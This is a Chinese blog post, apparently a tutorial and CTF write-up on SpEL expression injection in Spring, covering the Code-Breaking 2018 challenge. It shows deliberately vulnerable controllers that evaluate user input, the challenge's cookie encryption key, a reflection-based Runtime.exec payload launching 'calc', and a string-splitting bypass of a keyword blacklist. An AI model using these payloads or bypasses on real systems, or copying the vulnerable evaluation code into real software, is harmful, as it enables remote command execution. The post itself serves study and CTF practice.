• SpEL表达式注入


    一、内容简介


    Spring Expression Language(简称SpEL)是一种强大的表达式语言,支持在运行时查询和操作对象图。语言语法类似于Unified EL,但提供了额外的功能,特别是方法调用和基本的字符串模板功能。同时因为SpEL是以API接口的形式创建的,所以允许将其集成到其他应用程序和框架中。类似于Struts2中的OGNL。

    SpEL对表达式语法解析过程进行了很高的抽象,抽象出解析器、表达式、解析上下文、估值(Evaluate)上下文等对象,非常优雅的表达了解析逻辑。主要的对象如下:

    类名 说明
    ExpressionParser 表达式解析器接口,包含了(Expression) parseExpression(String), (Expression) parseExpression(String, ParserContext)两个接口方法
    ParserContext 解析器上下文接口,主要是对解析器Token的抽象类,包含3个方法:getExpressionPrefix,getExpressionSuffix和isTemplate,就是表示表达式从什么符号开始什么符号结束,是否是作为模板(包含字面量和表达式)解析。一般保持默认。
    Expression 表达式的抽象,是经过解析后的字符串表达式的形式表示。通过expressionInstance.getValue方法,可以获取表示式的值。也可以通过调用getValue(EvaluationContext),从评估(evaluation)上下文中获取表达式对于当前上下文的值
    EvaluationContext 估值上下文接口,只有一个setter方法:setVariable(String, Object),通过调用该方法,可以为evaluation提供上下文变量

    二、最基础的触发例子


    普通表达式:

        @GetMapping({"/test"})
        @ResponseBody
        public String test(@RequestParam("input") String input){
            //创建表达式解析器
            SpelExpressionParser parser = new SpelExpressionParser();
            //解析表达式
            Expression expression = parser.parseExpression(input);
            //使用Expression.getValue()获取表达式的值
            return expression.getValue().toString();
        }
    

    注入点 input = 3*8
    image.png

    模板表达式:

        @GetMapping({"/hello"})
        @ResponseBody
        public String test2(@RequestParam("input") String input){
    //        模板表达式
            String template = input;
    
    //        创建模板解析器上下文
            ParserContext parserContext = new TemplateParserContext();
    
    //        创建表达式解析器
            SpelExpressionParser parser = new SpelExpressionParser();
    
            //解析表达式,如果表达式是一个模板表达式,需要为解析传入模板解析器上下文。
            Expression expression = parser.parseExpression(input,parserContext);
    
            return expression.getValue().toString();
    
        }
    

    注入点: input=#{3*8}
    image.png  image.png

    三、Code-Breaking 2018


    代码审计:源代码

    运行项目
    image.png
    image.png

    后台代码审计
    UserConfig:用户信息
    image.png
    KeyworkProperties:配置黑名单,生成列表
    image.png
    Encryptor:Cookie字段的加解密
    image.png

    重点:Controller
    admin 方法,获取 Cookie,解密Cookie的rememberMeValue字段,赋值给 username 字段,传递给 getAdvanceValue 方法。

        @GetMapping
        public String admin(@CookieValue(value = "remember-me",required = false) String rememberMeValue, HttpSession session, Model model) {
            if (rememberMeValue != null && !rememberMeValue.equals("")) {
                String username = this.userConfig.decryptRememberMe(rememberMeValue);
                if (username != null) {
                    session.setAttribute("username", username);
                }
            }
    
            Object username = session.getAttribute("username");
            if (username != null && !username.toString().equals("")) {
                model.addAttribute("name", this.getAdvanceValue(username.toString()));
                return "hello";
            } else {
                return "redirect:/login";
            }
        }
    

    进入getAdvanceValue 方法, 对传入的 username字段,首先通过黑名单进行过滤。之后再进行 SpEL解析。因为我们可控Cookie,所以可以造成 SpEL注入攻击。

    private String getAdvanceValue(String val) {
            String[] var2 = this.keyworkProperties.getBlacklist();
            int var3 = var2.length;
    
            for(int var4 = 0; var4 < var3; ++var4) {
                String keyword = var2[var4];
                Matcher matcher = Pattern.compile(keyword, 34).matcher(val);
                if (matcher.find()) {
                    throw new HttpClientErrorException(HttpStatus.FORBIDDEN);
                }
            }
    
            ParserContext parserContext = new TemplateParserContext();
            Expression exp = this.parser.parseExpression(val, parserContext);
            SmallEvaluationContext evaluationContext = new SmallEvaluationContext();
            return exp.getValue(evaluationContext).toString();
        }
    

    利用思路:构造命令执行 payload --> 加密 --> 修改 Cookie --> 服务器获取 Cookie --> 解密 --> SpEL解析 --> 触发执行 payload

    先测试一下解密:

    @Component
    public class Madao {
        public static String encrypt(String key, String initVector, String value) {
            try {
                IvParameterSpec iv = new IvParameterSpec(initVector.getBytes("UTF-8"));
                SecretKeySpec skeySpec = new SecretKeySpec(key.getBytes("UTF-8"), "AES");
                Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5PADDING");
                cipher.init(1, skeySpec, iv);
                byte[] encrypted = cipher.doFinal(value.getBytes());
                return Base64.getUrlEncoder().encodeToString(encrypted);
            } catch (Exception var7) {
                return null;
            }
        }
    
        public static String decrypt(String key, String initVector, String encrypted) {
            try {
                IvParameterSpec iv = new IvParameterSpec(initVector.getBytes("UTF-8"));
                SecretKeySpec skeySpec = new SecretKeySpec(key.getBytes("UTF-8"), "AES");
                Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5PADDING");
                cipher.init(2, skeySpec, iv);
                byte[] original = cipher.doFinal(Base64.getUrlDecoder().decode(encrypted));
                return new String(original);
            } catch (Exception var7) {
                return null;
            }
        }
    }
    
    @SpringBootTest
    class ReviewApplicationTests {
    
        @Autowired
        private Madao madao;
    
        @Test
        void contextLoads() {
            System.out.println(madao.decrypt("c0dehack1nghere1", "0123456789abcdef", "MXPUSANQRVaBJYtUucUgmQ=="));
        }
    
    }
    

    可以把 T(String) 看作 String.class
    构造 payload :

    #{T(String).forName("java.lang.Runtime").getMethod("exec",T(String)).invoke(T(String).forName("java.lang.Runtime").getMethod("getRuntime").invoke(T(String).forName("java.lang.Runtime")),"calc")}
    

    拆分一下就看懂了:

    String.class = T(String)
    
    String.class.forName("java.lang.Runtime").getMethod("exec",String.class).invoke( var1, "calc")
    
    var1 = Runtime.getRuntime()
         =  String.class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(null)
    

    拆分,绕过黑名单

    keywords:
      blacklist:
        - java.+lang
        - Runtime
        - exec.*(
    
    #{T(String).forName("ja"+"va.lang.Run"+"time").getMethod("ex"+"ec",T(String)).invoke(T(String).forName("ja"+"va.lang.Run"+"time").getMethod("getRu"+"ntime").invoke(T(String).forName("ja"+"va.lang.Run"+"time")),"calc")}
    

    加密:
    image.png
    修改Cookie:
    image.png
    image.png

  • 相关阅读:
    别闹了,这些都不是数字化转型
    对不起,“下一代ERP”仍旧是现在的ERP
    这世界真小
    SAP S4HANA 2020 Fully-Activated Appliance 虚拟机版分享
    花费巨资参加SAP培训真的有用吗?
    剑指 Offer 07. 重建二叉树
    剑指 Offer 06. 从尾到头打印链表
    剑指 Offer 05. 替换空格
    剑指 Offer 04.二维数组中的查找
    剑指 Offer 03. 数组中重复的数字
  • 原文地址:https://www.cnblogs.com/WTa0/p/14548973.html
Copyright © 2020-2023  润新知